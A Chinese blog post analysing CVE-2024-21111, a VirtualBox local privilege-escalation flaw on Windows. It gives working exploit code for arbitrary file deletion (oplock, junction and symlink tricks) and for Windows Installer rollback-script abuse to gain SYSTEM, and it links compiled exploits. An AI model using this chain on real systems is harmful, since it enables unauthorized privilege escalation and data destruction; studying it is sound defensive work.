问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2024-21111 Oracle VirtualBox 本地权限提升漏洞分析
漏洞分析
7.16 版本之前的 Oracle VirtualBox 容易受到通过符号链接的影响,导致任意文件删除和任意文件移动。当我们可以进行任意文件删除和任意文件移动时,我们就可以利用windows的机制使用该漏洞进行提权。本篇为CVE-2024-21111 本地提权漏洞的漏洞分析。
前言 == 本篇为CVE-2024-21111 windows本地提权漏洞的漏洞分析。文中涉及到的技术细节如有不理解的地方请移步上篇:windows符号链接技术详解。 相关信息 ==== 环境搭建 ==== 虚拟机:宿主机VMvare 安装软件:VitualBox-7.0.14 VirtualBox下载地址: [https://www.virtualbox.org/wiki/Download\_Old\_Builds\_7\_0](https://www.virtualbox.org/wiki/Download_Old_Builds_7_0) ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715301533512-962bd2ab-23a4-4f49-be1f-c7aa1c8f39fe.png) 扩展包: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715301644623-28085134-a987-49b3-88db-55d9ddba9ac9.png) 功能增强: <https://download.virtualbox.org/virtualbox/7.0.14/> ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715301720770-6f5b4b81-170f-43b6-bfe3-438743777b3a.png) 漏洞分析 ==== 任意文件删除 ------ ### 逻辑分析 7.0.16 版本之前的 Oracle VirtualBox 容易受到通过符号链接的影响,导致任意文件删除和任意文件移动。当我们可以进行任意文件删除和任意文件移动时,我们就可以利用windows的机制使用该漏洞进行提权: VirtualBox在服务开启时会将日志文件以高权限`NT AUTHORITY\SYSTEM`生成至`C:\ProgramData\VirtualBox`目录中,但是多次重启服务最多也只会生成10个日志文件来对当前程序开启状态进行备份。除此之外,VirtualBox 在启动时还会尝试删除第11个日志,在删除时使用的是`NT AUTHORITY\SYSTEM`权限进行的删除,从而导致了本地提权。 接着我们测试一下poc(记得给VMware打快照,因为在测试后会破坏原有的符号链接权限):<https://github.com/mansk1es/CVE-2024-21111> 编译后有两个可执行文件,想直接使用的师傅可以去我的仓库下载releases: <https://github.com/10cks/CVE-2024-21111> 在我们安装完virtualbox后,宿主机会开启VboxSDS服务(`CTRL+R`输入`Services.msc`): ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715911457741-e0acede1-9a84-4215-9310-93a158f61e53.png) ```php C:\Users\root>sc qc VboxSDS [SC] QueryServiceConfig SUCCESS SERVICE_NAME: VboxSDS TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "D:\Program Files\Oracle\VirtualBox\VBoxSDS.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : VirtualBox system service DEPENDENCIES : RPCSS SERVICE_START_NAME : LocalSystem ``` 这个服务是用来记录操作日志的,日志路径为:`C:\ProgramData\VirtualBox\`: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715307223726-c5c930c4-f45e-42fe-8995-7f792fbe22ec.png) 对该目录进行分析,查看其ACL(使用 cacls.exe) ```php (base) PS C:\ProgramData> cacls.exe C:\\ProgramData\\VirtualBox C:\ProgramData\VirtualBox NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F BUILTIN\Administrators:(OI)(CI)(ID)F CREATOR OWNER:(OI)(CI)(IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R BUILTIN\Users:(CI)(ID)(special access:) FILE_WRITE_DATA FILE_APPEND_DATA FILE_WRITE_EA FILE_WRITE_ATTRIBUTES ``` 让我们逐项解析这些权限: 1. **NT AUTHORITY\\SYSTEM:(OI)(CI)(ID)F** - **NT AUTHORITY\\SYSTEM**:这是系统账户,通常具有对系统上几乎所有资源的完全访问权限。 - **(OI)(CI)(ID)F**: - **F** 表示完全控制权限。 - **OI**(对象继承)表示赋予的权限会应用到此目录中的所有文件。 - **CI**(容器继承)表示赋予的权限会应用到此目录中的所有子目录。 - **ID** 表示这些权限是从父对象继承而来。 2. **BUILTIN\\Administrators:(OI)(CI)(ID)F** - **BUILTIN\\Administrators**:这是管理员组,通常也拥有对系统资源的完全控制权限。 - **(OI)(CI)(ID)F** 同上,表示完全控制,且继承性与系统账户相同。 3. **CREATOR OWNER:(OI)(CI)(IO)(ID)F** - **CREATOR OWNER**:指创建文件或目录的用户。 - **(OI)(CI)(IO)(ID)F**: - **IO**(继承仅)表示这些权限仅应用于由该用户创建的对象。 - 其他标志与前述相同,表示完全控制。 4. **BUILTIN\\Users:(OI)(CI)(ID)R** - **BUILTIN\\Users**:这是普通用户组。 - **(OI)(CI)(ID)R**: - **R** 表示只读权限。 - **OI** 和 **CI** 表示这些只读权限同样应用于目录中的所有文件和子目录。 5. **BUILTIN\\Users:(CI)(ID)(special access:)** - **(CI)(ID)(special access:)** - **FILE\_WRITE\_DATA**(写入文件数据) - **FILE\_APPEND\_DATA**(添加数据) - **FILE\_WRITE\_EA**(写入扩展属性) - **FILE\_WRITE\_ATTRIBUTES**(写入属性) - 这表示虽然普通用户的基本权限是只读的,但他们还被特别允许进行特定的写操作,如修改文件数据和属性。 可以看到这个目录继承了来自 `C:\ProgramData` 的权限,允许用户创建新的文件和文件夹。 漏洞就在于VBoxSDS驱动的"开启"这个操作对创建新的文件和文件夹的影响: 我们使用Process Monitor 监控一下驱动开启时系统发生了什么 新建ProcessName过滤: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715325793449-904143ae-567a-442a-865b-661af8eba8cc.png) 关闭当前VboxSDS驱动: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715325847333-7ae540b2-e1e0-48cf-accb-afbad93891d3.png) 重新启动VboxSDS驱动驱动并查看Process Monitor: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715325925027-cd80757c-506e-4559-8e82-6e963c1207ca.png) 可以看到有`CreateFile`的操作: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715325961509-2bf9c463-af5f-4f8a-8ddc-388d729b5946.png) 除此之外,还有一个敏感操作为`SetRenameInformationFile`,这个操作是用来重命名文件的: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715326448677-4b8abd97-0e84-43b8-8ff9-60b247a10b12.png) 我们过滤一下这个操作,可以发现在启动驱动时进行了多次文件重命名操作: ```php 创建 VBoxSDS.log 原有的: VBoxSDS.log -> VBoxSDS.log.1 VBoxSDS.log.1 -> VBoxSDS.log.2 VBoxSDS.log.2 -> VBoxSDS.log.3 ``` ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715326542391-9bda032a-61f7-4c0b-900b-923ffce61b28.png) 我们多次进行驱动关闭/打开操作: ```php sc stop VboxSDS sc start VboxSDS ``` 每操作一次,则会多出一个的副本: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715327084748-e4c4b562-b56b-43b5-9033-ec6b376037e0.png) 我最开始以为副本是一样的,因为每次都是进行递归重命名,但是事实并非如此,我们拿最开始的VBoxSDS.log(左)与VBoxSDS.log.5(右)对比来看: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715327252470-6a682aa7-2c8e-432b-aedb-8deed80ec3c4.png) 我把不同的部分贴出来,仔细分析一下: ```php 00:00:00.028731 registerVBoxSVC: aPid=7016 (0x1b68) 00:00:00.028955 i_lookupOrCreatePerUserData: Created new entry for S-1-5-21-4099861355-3358530361-1466466590-1000 (DESKTOP-80TRFME/root) 00:00:00.028989 registerVBoxSVC: Making aPid=7016 (0x1b68) the chosen one for user S-1-5-21-4099861355-3358530361-1466466590-1000 (DESKTOP-80TRFME/root)! 00:03:11.688614 registerVBoxSVC: aPid=4452 (0x1164) 00:15:56.086791 registerVBoxSVC: aPid=1472 (0x5c0) 00:21:56.685279 registerVBoxSVC: aPid=4748 (0x128c) 00:25:24.649552 main WinMain: VBoxSDS: Calling _ServiceModule.RevokeClassObjects()... 00:25:24.649756 main WinMain: VBoxSDS: Calling _ServiceModule.Term()... 00:25:24.649782 main WinMain: VBoxSDS: deleting pServiceModule 00:25:24.649794 main WinMain: VBoxSDS: Calling com::Shutdown 00:25:24.650425 main i_unchooseTheOne: Irregular release ... (pid=7016 (0x1b68) user=DESKTOP-80TRFME/root sid=S-1-5-21-4099861355-3358530361-1466466590-1000) 00:25:24.650453 main i_unchooseTheOne: ... done. 00:25:24.652015 main WinMain: VBoxSDS: COM service process ends: hrcExit=ERROR_SUCCESS (0x0) ``` 经过分析,这段多出来的部分主要记录了 VirtualBox COM Service(组件对象模型服务)的一些关键活动和状态变化。 这些日志记录提供了 VirtualBox COM服务的启动、运行和停止过程的详细日志信息,由此我们可以知悉通过com可以进行该服务的调用。此处我们记住COM服务的调用,后续进行poc构造则需要利用这个地方。日志中显示的可以利用暴露的com接口来启动服务,我一开始查看github中的poc时发现其中直接写入了CSLID的key,我还比较好奇是从哪里知道的可以通过com调用该服务,我们在这里就得到了答案。 接下来我们进行重复操作(打开关闭驱动),经过测试,log文件最多创建10个,当已经存在10个日志文件的时候即使再操作也不会新增: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715328991262-b2118d34-501c-4b2c-ba9a-71fc3e54dbd6.png) 这个重复打开和关闭驱动的过程可以使用批脚本进行操作,可快速生成我们需要的日志文件: ```php @echo off REM This script will start and stop the VboxSDS service 10 times setlocal enabledelayedexpansion for /L %%i in (1,1,11) do ( echo Executing iteration %%i sc start VboxSDS if !errorlevel! neq 0 ( echo Failed to start the service exit /b !errorlevel! ) timeout /t 1 /nobreak >nul sc stop VboxSDS if !errorlevel! neq 0 ( echo Failed to stop the service exit /b !errorlevel! ) timeout /t 1 /nobreak >nul ) echo All operations completed endlocal pause ``` 除此之外,在打开服务时会生成一个VBoxSDS.log.11文件,然后删除: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715742991148-a55fcd36-8c2b-43ea-9aaf-94a2f1273888.png)删除文件的操作为: 1. **CreateFile**: - 尝试以删除访问权限打开文件。 - 具体标志包括 `DELETE` 访问权限,以及 `FILE_FLAG_DELETE_ON_CLOSE` 选项。 2. **SetDispositionInformationEx**: - 设置文件删除信息,标记文件为删除状态。 - 当文件句柄关闭时,文件将被删除。 下面是这些操作的详细说明: **CreateFile 操作:** `CreateFile` 是一个通用的文件操作,可以用来打开、创建或删除文件。为了删除文件,必须指定适当的访问权限和选项。 ```php Operation: CreateFile Path: C:\path\to\file.txt Desired Access: DELETE Disposition: Open Options: n/a Attributes: n/a ShareMode: Delete AllocationSize: n/a ``` 在此操作中: - **Desired Access: DELETE** 表示请求删除文件的权限。 - **ShareMode: Delete** 允许其他进程删除文件。 **SetDispositionInformationFile 操作:** 此操作用于实际标记文件为删除状态。当文件句柄关闭时,文件将被删除。 ```php Operation: SetDispositionInformationFile Path: C:\path\to\file.txt Delete: True ``` 在此操作中: - **Delete: True** 指示文件已被标记为删除。 **实际删除文件的流程:** 1. **Open File with DELETE Access**: - 进程首先以删除权限打开文件,这通常通过 `CreateFile` 操作完成。 ```php Operation: CreateFile Path: C:\path\to\file.txt Desired Access: DELETE Disposition: Open Options: n/a Attributes: n/a ShareMode: Delete AllocationSize: n/a Result: SUCCESS ``` 2. **Mark File for Deletion**: - 进程随后标记文件为删除状态,这通过 `SetDispositionInformationFile` 操作完成。 ```php Operation: SetDispositionInformationFile Path: C:\path\to\file.txt Delete: True Result: SUCCESS ``` 3. **Close File Handle**: - 最后,进程关闭文件句柄,当所有打开文件的句柄都关闭后,文件即被实际删除。 ```php Operation: CloseFile Path: C:\path\to\file.txt Result: SUCCESS ``` 如果我们在目录中提前放置VBoxSDS.log.11文件,打开服务时就会直接删除。 下面我们来找一下驱动涉及的COM调用来用代码打开服务,我这里使用的是OleView,直接搜`VirtualBoxSDS`: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715335535036-45562886-5ebf-4558-97fe-85df8a2bd385.png) 可以从poc中看到这个CLSID被封装成了运行VirtualBoxSDS驱动的函数: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715335754448-e25fe2b5-f77b-4a49-bb0e-ff061ab576b1.png) 这段C代码的功能是根据传入的参数 delay 来决定是否先延迟2秒执行,然后使用COM组件编程方法来创建一个特定的COM对象(在这个例子中是CLSID\_VBoxSDS),并最终释放COM库。 1. 初始化COM库:使用 CoInitialize(NULL) 初始化COM库。 2. 创建COM对象:使用 CoCreateInstance 函数尝试创建一个 CLSID\_VBoxSDS 类型的COM对象。这通常用于启动一个COM服务或者获取一个已经注册的COM对象的接口。 3. 释放COM库:使用 CoUninitialize() 清理COM库。 我们可以先在powershell测试一下是否能够通过COM启动VirtualBoxSDS: ```php > [Activator]::CreateInstance([type]::GetTypeFromCLSID("74AB5FFE-8726-4435-AA7E-876D705BCBA5")) 运行结果: System.__ComObject ``` 可以看到能够打开驱动,这也就是poc通过代码反复创建log的原理: ```php C:\Windows\system32>sc start VboxSDS [SC] StartService FAILED 1056: An instance of the service is already running. ``` **回到我们之前分析日志时得到的重要结论:我们可以通过COM 来实现以低权限用户启动服务。** 在文件系统的驱动开发中,通常需要区分文件和文件夹。文件和文件夹虽然在文件系统中都是文件的一种形式,但它们的处理方式不同。 如果驱动程序期望操作的是一个文件,但实际上操作的是一个目录,可能因为文件操作接口(如读取数据)不适用于目录而导致错误,最后导致服务崩溃。我们这里把原有的`VBoxSDS.log`更改为`VBoxSDS.log.bak`,然后新建一个`VBoxSDS.log`目录,再次启动服务,看看是否存在这个问题: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715342028567-c9eb81e2-3a03-478f-98c6-f7c497cbb7a2.png) 可以看到服务崩溃,并且VBoxSDS.log.1文件也没了(复制失败的后果),查看发生的事件,该服务确实只能读取文件,当读取目录时则会出现异常: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715342583598-541eeacb-dfb6-43ef-8e49-da050c87b9c4.png) 我们反复触发崩溃,看看最后什么效果: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715343403148-7304f4ec-b218-4b76-a44e-467d68107ca2.png) 反复触发崩溃会导致原有的日志文件逐步删除,最后仅剩我们的备份文件和触发崩溃的文件夹(`VBoxSDS.log`)。 ### 代码实现 我们使用p0tools中的`SetOpLock.exe`锁住复制到`C:\ProgramData\VirtualBox`路径下的`VBoxSDS.log.11`,然后开启`VboxSDS`:`sc start VboxSDS` ```php SetOpLock.exe C:\ProgramData\VirtualBox\VBoxSDS.log.11 ``` ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715754288583-639a6e10-6359-4c39-88f8-06aa8871783c.png) 但是锁住的时间不能太长,否则会出现服务无响应的情况: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715754333120-113cc5a0-382b-4056-9a1d-ef4a7d735e88.png) 因此我们可以尝试在锁住期间利用符号链接技术达到任意文件删除的效果。我们需要做的是: 1. 把`C:\ProgramData\VirtualBox`目录内容清空,变为空目录(后续用来转为连接点,连接点需要为空目录才能进行转换) 2. 把`VBoxSDS.log.11`文件与目标删除的文件创建对象管理器符号链接。 我们设置一个目标文件`C:\Users\root\Downloads\target.txt`作为删除的靶标,并关闭当前用户对其的操作权限: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715755269994-741617c8-d2fb-4ff3-8372-610e1cde9a3c.png) 当我们使用当前用户删除时现在已经无法做到了: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715755341566-95a74786-fecf-430f-90c1-fe6a574b5d19.png) 接下来我们设计代码执行流程: 1. 加载API 2. 检查VirtualBox环境是否存在 3. 清除目录 4. 创建连接点和创建对象管理器符号链接 5. 运行runSDS来触发文件删除操作 下面我们来逐步实现任意文件删除(此处仅对关键函数进行标注): 主函数: ```php // 任意文件删除 int wmain() { loadapis(); // 加载API checkIfExists(); // 检查VirtualBox环境是否存在 clearDataDir(); // 清除目录:先创建log.11文件,然后上锁,当触发这个锁的时候就创建VBoxSDS.log目录并释放log.11锁 HANDLE hDir = getDirectoryHandle(BuildPath(L"C:\\ProgramData\\VirtualBox"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); printf("hDir: %x\n", hDir); // 创建一个新的线程,该线程将执行 Monitor 函数,并传递一个参数 hDir 给该函数 // Monitor函数:给log.11上锁,触发锁后调用函数 cb0:cb0函数先删除log.11文件,然后创建连接点和创建对象管理器符号链接,然后运行runSDS来触发文件删除操作 HANDLE zxc{}; zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0, NULL); Sleep(10000); // 删除已转换为连接点的 C:\\ProgramData\\VirtualBox DeleteJunction(dir); // 关闭线程句柄 CloseHandle(zxc); return 0; } ``` 用来移动log.11到其他目录(等同于删除该文件): ```php // 将一个文件移动到一个新的位置 // 具体来说是移动到 C:\windows\temp 目录下的一个临时文件。该临时文件的名字是基于一个新生成的 UUID 创建的 BOOL Move(HANDLE hFile) { if (hFile == INVALID_HANDLE_VALUE) { printf("[!] Invalid handle!\n"); return FALSE; } wchar_t tmpfile[MAX_PATH] = { 0x0 }; RPC_WSTR str_uuid; UUID uuid = { 0 }; UuidCreate(&uuid); UuidToString(&uuid, &str_uuid); _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); IO_STATUS_BLOCK io = { 0 }; rename_info->ReplaceIfExists = TRUE; rename_info->RootDirectory = NULL; rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); if (status != 0) { return FALSE; } return TRUE; } ``` cb0 创建连接点和对象管理器符号链接: ```php void cb0() { if (!Move(h)) { printf("reached3\n"); exit(1); } printf("reached2\n"); // 创建连接点 _swprintf(dir, L"C:\\ProgramData\\VirtualBox"); if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) { printf("[!] Exiting!\n"); exit(1); } // 创建对象管理器符号链接 WCHAR asdfasdf[MAX_PATH]; _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen); if (!DosDeviceSymLink(asdfasdf, L"\\??\\C:\\Users\\root\\Downloads\\111.txt")) { printf("zxc\n"); } } ``` cb1 用来创建VBoxSDS.log 目录,正如上文所说,通过这个目录导致服务崩溃来清空文件夹: ```php void cb1() { // 用来创建VBoxSDS.log dir目录的 printf("[!] oplock triggered\n"); printf("[+] creating VBoxSDS.log dir\n"); if (!CreateDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log", NULL)) { printf("Error creating dir. Exiting\n"); exit(1); } else { printf("[!] sleeping for 2 sec\n"); Sleep(2000); } return; } ``` Monitor函数是这里面最主要的函数,用来设置上锁和回调函数: ```php BOOL Monitor(HANDLE hDir) { printf("[!] Monitor called\n"); BOOL deleted = FALSE; _swprintf(filen, L"VBoxSDS.log.11"); do { // 这个循环会一直执行,直到 deleted 被设置为 TRUE do { // 尝试以 DELETE 权限打开文件 "C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11",直到成功为止(其实一次就成功) h = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); printf("h: %x\n", h); } while (h == INVALID_HANDLE_VALUE); // 创建log.11机会锁,文件锁时触发时调用cb0函数:cb0函数删除log.11文件,创建连接点和创建对象管理器符号链接 oplock = FileOpLock::CreateLock(h, cb0); if (oplock != NULL) { // 有锁状态下创建一个线程来运行 runSDS 函数,运行时会删除 VBoxSDS.log.11 HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, (LPVOID)1, 0, NULL); oplock->WaitForLock(INFINITE); CloseHandle(c); } deleted = TRUE; } while (deleted == FALSE); return deleted; } ``` 我这里提供写好的源码和编译好的程序,大家可以直接使用:<https://github.com/10cks/CVE-2024-21111-del> 运行后111.txt文件即可以高权限删除(注意先使用`sc stop VboxSDS`关闭服务,我偷懒了没写这个操作q.q): ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715915519299-54c44166-a127-40a5-8bd6-fb8a112fbfa5.png) 回看上面的主函数,可以看到会有一个十秒的延时`Sleep(10000);`,这是为了等待触发回调必须要带上。 提权 -- ### 逻辑分析 如上文所述,现在我们已经可以实现任意文件删除了,那么我们如何做到从任意文件删除到提权这个步骤呢? 2022年3月17日,ZDI发布了一篇文章:滥用任意文件删除来提升权限和其他优秀技巧 [ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICK](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks?rq=file%20delete) 这篇文章能够把任意文件删除造成的DoS漏洞升级为本地提权漏洞EoP,让我们可以从任意文件删除、任意文件夹删除和其他看似影响较小的基于文件系统的漏洞利用原语中获得更多收益。下面对原文中的关键信息进行部分翻译: 当我们在 Windows 上利用任意文件删除时,会遇到三个问题: 1. 大多数关键的 Windows 操作系统文件都使用 DACL 锁定,甚至可以防止 SYSTEM 进行修改。相反,大多数操作系统文件归 TrustedInstaller 所有,并且只有该帐户有权修改它们。 2. 即使您找到可以删除的文件 SYSTEM ,它也必须是删除后会导致“打开失败”(安全性降低)的文件。 3. 由于共享违规,某些关键系统文件始终无法访问。 如何解决这三个问题呢? 这里用到了 Windows Installer 服务。Windows Installer 服务负责执行应用程序的安装。为了了解权限提升的途径,我们需要解释一下 Windows Installer 服务的操作。下面的解释稍微简化了。 Windows Installer 服务负责执行应用程序的安装。应用程序作者提供一个 .msi 文件,该文件是一个数据库,定义安装应用程序时必须进行的更改:要创建的文件夹、要复制的文件、要修改的注册表项、要执行的自定义操作。执行,等等。为了确保在安装无法完成时保持系统完整性,并能够干净地恢复安装,Windows Installer 服务强制执行事务性。每次对系统进行更改时,Windows Installer 都会记录更改,并且每次使用正在安装的程序包中的较新版本覆盖系统上的现有文件时,它都会保留旧版本的副本。如果需要回滚安装,这些记录允许 Windows Installer 服务将系统恢复到原始状态。在最简单的情况下,这些记录的位置是名为 C:\\Config.Msi 的文件夹。 在安装过程中,Windows Installer 服务会创建一个名为 C:\\Config.Msi 的文件夹,并在其中填充回滚信息。每当安装过程对系统进行更改时,Windows Installer 都会将更改记录在 C:\\Config.Msi 内的 .rbs 类型文件(回滚脚本)中。此外,每当安装用新版本覆盖某些文件的旧版本时,Windows Installer 都会在 C:\\Config.Msi 中放置原始文件的副本。这种类型的文件将被赋予 .rbf (回滚文件)扩展名。如果需要回滚不完整的安装,该服务将读取 .rbs 和 .rbf 文件,并使用它们将系统恢复到安装之前存在的状态。 必须防止该机制被篡改。如果恶意用户能够在读取 .rbs 和/或 .rbf 文件之前对其进行更改,则在回滚期间可能会发生对系统状态的任意更改。因此,Windows Installer 对 C:\\Config.Msi 及其所包含的文件设置了强 DACL。 不过,这里出现了一个漏洞:如果攻击者具有任意文件夹删除漏洞怎么办?他们可以在 Windows Installer 创建 `C:\Config.Msi` 后立即使用它来完全删除它。然后,攻击者可以使用弱 DACL 重新创建 `C:\Config.Msi` (请注意,普通用户可以在 C:\\ 的根目录下创建文件夹)。一旦 Windows Installer 在 `C:\Config.Msi` 中创建回滚文件,攻击者就能够将 `C:\Config.Msi` 替换为包含攻击者指定的 `.rbs` 和 `.rbf` 文件。然后,在回滚时,Windows Installer 将对系统进行任意更改,如恶意回滚脚本中指定的那样。 ### 代码实现 这里我们把cmd.rbs单独写入一个文件,作为资源文件加载: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715933167395-4e7ce5ee-c040-4dc5-babe-3ffcfce5a1da.png) 使用 Windows API 函数 ReadDirectoryChangesW 来监视 C:\\\\Config.msi 目录的变化,特别是关注文件名变化。当检测到文件名变化时,通过 FILE\_NOTIFY\_INFORMATION 结构体获得文件名,并检查文件扩展名是否为 .rbs: ```php do { ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &retbt, NULL, NULL); fn = (FILE_NOTIFY_INFORMATION*)buff; size_t sz = fn->FileNameLength / sizeof(WCHAR); fn->FileName[sz] = '\0'; extension = fn->FileName; PathCchFindExtension(extension, MAX_PATH, &extension2); } while (wcscmp(extension2, L".rbs") != 0); ``` 一旦识别出 .rbs 文件,代码将执行以下操作: 1. 修改文件安全属性:使用 SetSecurityInfo 函数修改文件的安全属性,改变文件的访问权限。 2. 移动文件:使用自定义的 Move 函数移动文件,其实就是删除文件。 3. 创建并写入 rbs 文件:如果之前的操作成功,代码将创建一个新的 rbs 文件并写入数据。使用 CreateFile 打开文件,然后使用 WriteFile 将之前加载的资源(RbsBuff)写入文件: ```php HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) { printf("[+] Rollback script overwritten!\n"); } else { printf("[!] Failed to overwrite rbs file!\n"); } ``` 运行后成功提权: ![](https://cdn.nlark.com/yuque/0/2024/png/12719746/1715345722534-3b8b026c-31f2-4b4d-9317-3d84ad97b770.png) 总结 == 本文在任意文件删除的基础上进行了本地提权,这个漏洞发现的难点我感觉在于如何清空需要转换为连接点的目录这个地方,在CVE-2024-27460中的目录(不光光是此漏洞)使用的是低权限创建的文件内容,所以我们可以直接对此进行清空。而vmbox的日志权限为高权限,需要构造与日志文件相同的目录来打崩服务,服务崩溃后导致递归删除。(递归删除这一思路漏洞作者也有指出) 我没有发现会导致递归删除,当时想的是把文件名都做成目录,后来才知道能递归删除的,这也是有别于其他符号链接提权漏洞的tips,所以后续挖洞时可以多进行观察,这种情况也并不常见。 这就是本文的全部内容了,如文中存在问题欢迎留言。 参考链接 ==== [Windows之任意文件删除到提权 - 先知社区](https://xz.aliyun.com/t/13230?time__1311=mqmxnDBD9DyD0AD2DBu%3DwjYAK0Qm%3Dwx5v%2BD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-2) <https://github.com/mansk1es/CVE-2024-21111>
发表于 2024-05-28 10:00:02
阅读 ( 17729 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
10cks
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!